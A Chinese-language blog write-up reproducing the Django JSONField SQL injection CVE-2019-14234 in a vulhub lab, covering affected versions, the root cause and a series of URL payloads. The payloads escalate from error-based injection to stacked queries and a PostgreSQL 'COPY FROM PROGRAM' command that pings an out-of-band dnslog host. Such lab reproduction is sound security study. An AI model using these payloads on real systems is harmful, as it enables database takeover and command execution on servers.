1. 程式人生 > 其它 >Django JSONField/HStoreField SQL 注入漏洞 (CVE-2019-14234)

Django JSONField/HStoreField SQL 注入漏洞 (CVE-2019-14234)

一.漏洞描述
該漏洞需要開發者使用了JSONField/HStoreField,且使用者可控queryset查詢時的鍵名,在鍵名的位置注入SQL語句。

Django通常搭配postgresql資料庫,而JSONField是該資料庫的一種資料型別。該漏洞的出現的原因在於Django中JSONField類的實現,Django的model最本質的作用是生成SQL語句,而在Django通過JSONField生成sql語句時,是通過簡單的字串拼接。
二.漏洞複線
1.用靶場vulhub進行復現
在Django注入時,受影響的版本有:
1.11.x before 1.11.23

2.1.x before 2.1.11

2.2.x before 2.2.4
2.Django介紹
Django是一款Python的網路開發框架,具有良好的開發特性,web開發中也經常會用到,通常情況下,我們常見的web開發框架有Java,Python,PHP,Javascript等語言進行編寫的,現在很多web網站都是利用java語言開發的,java語言開發的框架有Spring,Spring,MYBatis,struts2 架構等。當然在這些web架構中,也必定存在一些bug。
3.漏洞復現
1)瀏覽

2)實施注入
根據靶場內的提示,賬號密碼:admin/a123123123
在登陸之後,是一個後臺管理的頁面,根據這個提示,可以知道如果在你的Django中使用了JSONField並且查詢的“鍵名”可控,就可以進行SQL注入。

訪問http://ip:8000/admin。

在得到這個頁面的時候,通常都是可以新增資料的,可是這個不可以。
3)漏洞產生原因
是什麼原因導致這樣的漏洞的?
這樣,我們可以來看看JSON fILED的實現:

JSONField繼承自Field,其實Django中所有欄位都繼承自Field,其中定義了get_transform函式。
4)構造Payload進行sql注入

url:http://172.20.10.9:8000/admin/vuln/collection/?detail__xxx'yyyy

可以看到,在添加了之後,出現了報錯資訊,這說明了注入成功,構造的SQL語句是可以執行的;
為了進一步的驗證,

payload:

http://172.20.10.9:8000/admin/vuln/collection/?detail__title')=%271%27%20or%201=1--

其生成的SQL語句我們是可以看到的,也是被執行了的。
接著,我們繼續驗證,試著新的命令注入。

Payload:?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

在此次的結果中,依然顯示了沒有結果,

最後,我們用DNSLOG進行檢查一下,
payload:?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping 37rsq9.dnslog.cn'--%20

可以看到已檢查到了流量的變化。
在網上,也有很多在說,在docker沒有對埠的對映,無法對其獲得許可權;有想法的可以去下載一個埠對映的程式,進行進一步的測試。

參考:https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html

歡迎一起交流。